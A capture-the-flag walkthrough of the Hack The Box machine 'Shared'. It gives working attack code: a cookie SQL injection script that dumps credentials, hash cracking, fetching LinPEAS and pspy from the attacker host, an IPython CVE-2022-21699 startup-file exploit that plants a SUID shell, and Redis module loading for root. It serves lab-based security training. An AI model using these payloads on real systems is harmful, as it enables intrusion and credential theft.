Post

HTB • Shared

Shared is a medium Linux machine created by Nauten on Hack The Box that features a website with a virtual hostname that is vulnerable to SQL injection. Successful exploitation of this vulnerability provides us with the password for a user called james_mason. With these credentials we are able to login via SSH and elevate privileges to a user called dan_smith by exploiting a cron job that uses a version of ipython that is vulnerable to CVE-2022-21699. We then reverse-engineer an executable using both static and dynamic analysis to recover the password for the local Redis service. The Redis process is running as root, so we load a special shared object module using LOAD MODULE to execute commands as root.

Initial Recon

Let’s first set up our environment and run a TCP port scan with this custom nmap wrapper.

1
2
3
4
# bryan@attacker
rhost="" # replace with machine address
echo rhost=$rhost >> .env && . ./.env
ctfscan $rhost

The scan reports that the SSH service, HTTP service, and HTTPS service are running on ports 22, 80, and 443 respectively.

Web Recon

Upon visiting port 80, we are redirected to shared.htb. Let’s add this hostname to our /etc/hosts file with the corresponding IP address.

1
2
echo 'vhost=("shared.htb")' >> .env && . ./.env
echo -e "$rhost\\t$vhost" | sudo tee -a /etc/hosts

Now we’ll visit https://shared.htb/ in a browser session being proxied through the BurpSuite HTTP proxy.

Index page shared.htb web index page

Walking the Application

When exploring the content of the website, we eventually discover the checkout page at /index.php?controller=cart&action=show. When we hover over the checkout button, we can see that it will send us to https://checkout.shared.htb. Let’s add this virtual hostname to our /etc/hosts file so we can view its content.

1
sudo sed -E -i 's/(shared.htb).*/\1 checkout.\1/' /etc/hosts

Now when we add an item to our cart and navigate to /index.php?controller=cart&action=show, we’ll click the checkout button to be redirected to the checkout site.

Checkout site checkout.shared.htb web index page

Investigating Functionality

It’s interesting how this site is able to determine which item we had in our cart considering we did not supply any HTTP GET or POST parameters. Let’s investigate.

Looking at the initial request we sent to the checkout site in the BurpSuite site map, we can see that our request contains an unusual cookie called custom_cart. The value of this cookie can be automatically decoded by highlighting it, revealing a JSON object with the product code and quantity of the checkout item.

burpsuite_cookie_image We find a mysterious cookie in BurpSuite

We can infer that the site uses the supplied product code in custom_cart to find the price of the item since we do not supply the price, but only the product code. This activity is likely handled by some type of database solution such as an SQL server. With this in mind, we can check if this functionality is vulnerable to SQL injection.

Vulnerability Discovery

Let’s input some basic SQL injection payloads to the cookie in the BurpSuite repeater tab to see if SQL injection is possible.

BurpSuite injection payloads The server’s response to a common SQL injection payload

1
{"CRAAFTKP'#":"1"}

The response to the first payload suggests that SQL injection is possible but we can make sure by sending a payload that should evaluate to false, and one that should be true.

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python3

from urllib.parse import quote
from sys import argv

if len(argv) == 2:
        sqli = argv[1]
        sqli = sqli.replace('\\', '\\\\')
        sqli = sqli.replace('"','\\"')
        print(quote('{"' + argv[1] + '":"1"}'))
1
2
3
4
5
6
7
chmod +x makepayload.py
true=$(./makepayload.py "' OR 1=1#") # Always resolves to true
false=$(./makepayload.py "' AND 1=2#") # Always resolves to false

url="https://checkout.shared.htb"
curl -k -s $url -b "custom_cart=$true" | sed 's/^ *//' > true.html
curl -k -s $url -b "custom_cart=$false" | sed 's/^ *//' > false.html

This should leave you with two files called false.html and true.html. To find the difference between the two response bodies we can use diff.

1
diff false.html true.html
1
2
3
4
5
6
7
8
9
10
11
12
37,39c37,39
< <td>Not Found</td>
< <td>0</td>
< <td>$0,00</td>
---
> <td>53GG2EF8</td>
> <td>1</td>
> <td>$23,90</td>
45c45
< <th scope="col">$0,00</th>
---
> <th scope="col">$23,90</th>

The false query returns “Not Found” and zero values for the quantity and price while the true query returns a product entry. This is definitely enough evidence of an SQL injection vulnerability to begin exploitation.

Web Exploitation

We have already determined that boolean-based blind SQL injection is possible with the true and false queries, but there is a good chance we can use UNION SELECT queries to exfiltrate database values without having to use a side-channel.

Union Query Exfiltration

Let’s first find the number of columns in the original query so we can match it in our UNION SELECT extension.

1
2
3
4
5
payload=$(./makepayload.py "' UNION SELECT 'c0lumn1','c0lumn2','c0lumn3'#")

curl -k -s "https://checkout.shared.htb" -b "custom_cart=$payload" | \
	sed 's/^ *//' |
	egrep '</?td>'
1
2
3
<td>c0lumn2</td>
<td>1</td>
<td>$</td>

Notice how the response contains the value we sent in the second column. This means we can extract data through the second column. Now let’s create a script to get any raw value from the database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash

[ -z "$SELECT" ] && echo "SELECT=* FROM=* WHERE=* $0" && exit

payload="' UNION SELECT '',$SELECT,''"

[ -z "$FROM" ] || payload="$payload FROM $FROM"
[ -z "$WHERE" ] || payload="$payload WHERE $WHERE" 

echo $payload

payload=$(./makepayload.py "$payload#")

curl -k -s "https://checkout.shared.htb" -b "custom_cart=$payload" |
	egrep '</?td>' |
	head -1 |
	sed -E 's/^ *<td>(.*)<\/td>$/\1/'

Then we can see if we can get the available database names. Remember that this database is probably MySQL because the # comment is working.

1
2
3
4
chmod +x sqli.sh
SELECT="group_concat(schema_name)"   \
FROM="information_schema.schemata"   \
	./sqli.sh
1
information_schema,checkout

There is a database called checkout that we should explore. Let’s find the names of its tables.

1
2
3
4
SELECT="group_concat(table_name)"   \
FROM="information_schema.tables"    \
WHERE="table_schema='checkout'"     \
	./sqli.sh
1
user,product

The user table seems interesting. Let’s find the column names and dump the table contents.

1
2
3
4
SELECT="group_concat(column_name)"   \
FROM="information_schema.columns"    \
WHERE="table_name='user'"            \
	./sqli.sh
1
id,username,password
1
2
3
SELECT="group_concat(concat(id,0x7c,username,0x7c,password))" \
FROM="checkout.user" \
	./sqli.sh
1
1|james_mason|[REDACTED]

There is only one result, but we got what looks like an MD5 hash in the password column for the user james_mason.

Shell as james_mason

Let’s try to crack the hash using John the Ripper

1
2
3
4
5
6
# bryan@attacker
hash="" # Hash here
echo "james_mason:$hash" > md5.john
john md5.john \
	--format="raw-md5" \
	--wordlist="rockyou.txt" # classic rockyou.txt wordlist

Using these credentials on the target’s SSH server will land us a shell as james_mason.

1
2
# bryan@attacker
ssh "james_mason@$rhost"

There is no user flag in our home directory so we might need to do some lateral movement.

Lateral Movement

We will be using LinPEAS from PEASS-ng to look for any useful information on the machine. We will also be using pspy to snoop on processes.

1
2
3
4
5
6
7
# bryan@attacker
lhost="10.10.14.10" # Listener host
cd $(mktemp -d)
wget \
	"https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64" \
	"https://github.com/carlospolop/PEASS-ng/releases/download/20220522/linpeas.sh"
php -S $lhost:80
1
2
3
4
5
# james_mason@shared.htb (SSH)
lhost="10.10.14.10" # Attacker's IP address
mkdir .sneak && cd .sneak
wget "http://$lhost/pspy64" "http://$lhost/linpeas.sh"
bash ./linpeas.sh | tee linpeas.log

We don’t get anything that blatantly stands out in the LinPEAS output. Let’s try running PSpy for a few minutes.

1
2
3
# james_mason@shared.htb (SSH)
chmod +x pspy64
timeout 3m ./pspy64 | tee pspy.log

Looking at the output, user ID 0 and user ID 1001 seem to be running routine commands. UID 0 is root and User ID 1001 turns out to be user dan_smith, declared in /etc/passwd. It can be noted that dan_smith runs an interesting command every minute.

1
/bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython

The user enters the /opt/scripts_review directory and executes /usr/local/bin/ipython.

CVE-2022-21699

After doing some research into ipython, we come across a vulnerability advisory that details a code execution flaw.

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.

Let’s check if the version on the machine is vulnerable.

1
2
# james_mason@shared.htb (SSH)
/usr/local/bin/ipython --version

The version is 8.0.0, which is vulnerable. Since the routine command executed by dan_smith is run in the /opt/scripts_review directory, we could exploit the vulnerability if /opt/scripts_review is writable.

1
2
# james_mason@shared.htb (SSH)
ls -la /opt/scripts_review

It is writable by those in the developer group. According to the output of the id command, our current user is actually part of this group.

Exploitation

Let’s test our hypothesis by following the instructions in the advisory to execute code as dan_smith.

1
2
3
4
5
6
7
8
#!/bin/bash

exploitdir="/opt/scripts_review"
cmd="cp /bin/sh /tmp/dan_smith_sh;chmod a+xs /tmp/dan_smith_sh"

mkdir -m 777 "$exploitdir/profile_default"
mkdir -m 777 "$exploitdir/profile_default/startup"
echo "__import__('os').popen('$cmd')" > "$exploitdir/profile_default/startup/x.py"

After running the script and waiting a minute, our SUID shell should be at /tmp/dan_smith_sh.

1
2
# james_mason@shared.htb (SSH)
/tmp/dan_smith_sh -p

Privilege Escalation

The first flag is located at /home/dan_smith/user.txt

Stabilizing Shell

Let’s copy the contents of /home/dan_smith/.ssh/id_rsa over to the attacker machine and use it to log in as dan_smith via SSH to get a more stable shell.

1
2
3
# bryan@attacker
chmod 600 dan_smith_id_rsa
ssh -i dan_smith_id_rsa "dan_smith@$rhost"

Enumeration

When running the id command, we learn that our current user is part of the sysadmin group. Let’s see what this group has special access to.

1
2
# dan_smith@shared.htb (SSH)
find / -group sysadmin 2>/dev/null
1
/usr/local/bin/redis_connector_dev

One file at /usr/local/bin/redis_connector_dev is returned. This file probably has something to do with a key-value data storage solution known as Redis. When we execute /usr/local/bin/redis_connector_dev, it prints a log message saying “Logging to redis instance using password” and what looks like the output of the INFO Server redis query.

Redis

Let’s gather some basic info on the file and see what’s going on behind the scenes.

1
2
# dan_smith@shared.htb (SSH)
file /usr/local/bin/redis_connector_dev|tr ',' '\n'

Based on the output of the file command, we can note a few things about the file:

  • It is an ELF x86-64 executable
  • It was built with a Go compiler (hence the Go BuildID)
  • It is not stripped

Finding the Password

Since the Redis RESP protocol operates in plaintext, we might be able to capture the password. First, let’s copy the file to the attacker machine.

1
2
3
# bryan@attacker
scp -i dan_smith_id_rsa "dan_smith@$rhost:/usr/local/bin/redis_connector_dev" .
chmod +x redis_connector_dev

Running the file on the attacker machine, we get an error complaining that TCP port 6379 is closed on the loopback address. We can open that port by running nc in a separate tab.

1
2
# bryan@attacker
nc -lv 127.0.0.1 6379

Now if we run ./redis_connector_dev we get some output to the listener.

1
2
3
4
5
6
Connection received on localhost 35468
*2
$4
auth
$16
[REDACTED]

The strings auth and [REDACTED] are passed. Given the circumstances, the second string seems like it may be the password so let’s try using that with the redis-cli command back on the target machine.

1
2
# dan_smith@shared.htb (SSH)
redis-cli -a "$password" INFO server

The INFO server command is successfully executed. While running some extra enumeration commands we find out that the redis store is pretty much empty.

1
2
# dan_smith@shared.htb (SSH)
redis-cli -a "$password" INFO keyspace

After some research on redis, we come across this page which presents different methods of achieving RCE on a redis server. This is useful for us because the user running the redis server is root meaning we will execute commands as root if RCE is possible.

Loading Modules

One method is to load a special shared object file using MODULE LOAD query. We can build the shared object from this source code on the attacker machine, then copy module.so to the target.

1
2
3
4
5
# james_mason@shared.htb (SSH)
command="cp /bin/sh /root_sh;chmod a+xs /root_sh"
redis-cli -a "$password" MODULE LOAD ~/module.so &&
	redis-cli -a "$password" system.exec "$command"
/root_sh -p

Running this should land us a shell as root where the last flag can be found at /root/root.txt

This post is licensed under CC BY 4.0 by the author.